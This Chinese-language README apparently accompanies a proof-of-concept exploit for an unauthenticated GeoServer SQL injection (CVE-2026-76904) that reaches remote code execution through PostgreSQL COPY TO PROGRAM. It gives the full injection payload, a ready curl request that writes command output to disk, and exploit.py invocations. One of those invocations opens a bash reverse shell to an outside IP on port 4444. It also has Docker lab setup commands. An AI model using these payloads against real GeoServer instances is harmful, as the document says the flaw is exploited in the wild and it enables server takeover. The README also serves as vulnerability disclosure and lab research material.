CVE: CVE-2026-76904 | CVSS: 9.8(严重)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
该漏洞已被 GeoServer/GeoTools 团队分配了 GHSA-mqjf-5f49-2fjh,并且截至 2026 年 8 月正在被在野积极利用。
该漏洞已被修补,但由于它实在太新(1786870173),互联网上仍存在大量利用行为。
2026 年 8 月 21 日 - 收到 CVE 标识符:CVE-2026-76904
GeoServer 的 jsonArrayContains 函数存在未认证 SQL 注入
-> 通过 PostgreSQL COPY TO PROGRAM 实现远程代码执行。
GeoServer(具体来说是 GeoTools)中用于查询 PostgreSQL JSON 数组的 jsonArrayContains 函数包含一个严重 SQL 注入漏洞。其第三个参数(expected)被直接拼接到 SQL 查询中,没有任何过滤、转义或参数绑定。
具体如下:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
该漏洞源于 GeoTools 的 FilterToSqlHelper.constructEquality 方法。
jsonArrayContains 函数的第三个参数(expected)通过 String.formatted() 直接写入 SQL 字符串,未进行任何转义。
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
此缺陷并非新 bug,而是 CVE-2023-25158(CVSS 9.8 的同类 SQL 注入漏洞)的回归。
该新漏洞是在 GEOT-7589 为 PostgreSQL 12+ 添加 jsonb_path_exists 支持时引入的。
2023 年的补丁并未保护 jsonArrayContains 函数,该函数是在那次修复之后新增/修改的。
https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d
本质上如下:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
载荷分解:
手动 curl
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
WFS 2.0 闭合模式改编自 mhtsec 的研究。
没人想手敲 curl,对吧?以下是 exploit.py 的用法。
文件创建 PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
RCE PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
为便于快速上手 PoC,我们提供了一个 docker-compose.yml。
使用以下命令完成初始化后
Docker compose up -d
我们可以利用可用的 REST API 来搭建环境。
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
发布图层
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
本仓库包含针对 GeoServer ;jsonArrayContains; 零日 SQL 注入到远程代码执行漏洞的独立概念验证(PoC)利用程序。 该漏洞最初由秋风(@q1uf3ng)发现并公开披露。利用链已在受控实验环境中重建并验证。
本项目仅供在隔离的实验环境中进行经授权的安全研究、教育和测试使用。
未经所有者明确授权,请勿将本软件用于攻击系统、网络或数据。您须自行负责遵守所有适用法律,并承担因使用本项目而产生的一切后果。
作者 YonLiud 按“原样”提供本项目,不提供任何形式的担保,并且不对因本软件或其衍生作品造成的损害、数据丢失、服务中断、未经授权的访问或其他误用承担任何责任。
使用本项目即表示您确认并接受上述条款。
| 组件 | 用途 |
|---|
jsonArrayContains(data,'/x','y")\'') | 使用精心构造的第三个参数调用函数 |
OR 1=1)) | 闭合 JSON 路径与函数调用 |
AS gt_injected; | 为派生表设置别名 |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | PostgreSQL 远程代码执行命令 |
--')=true | 注释掉剩余的 SQL |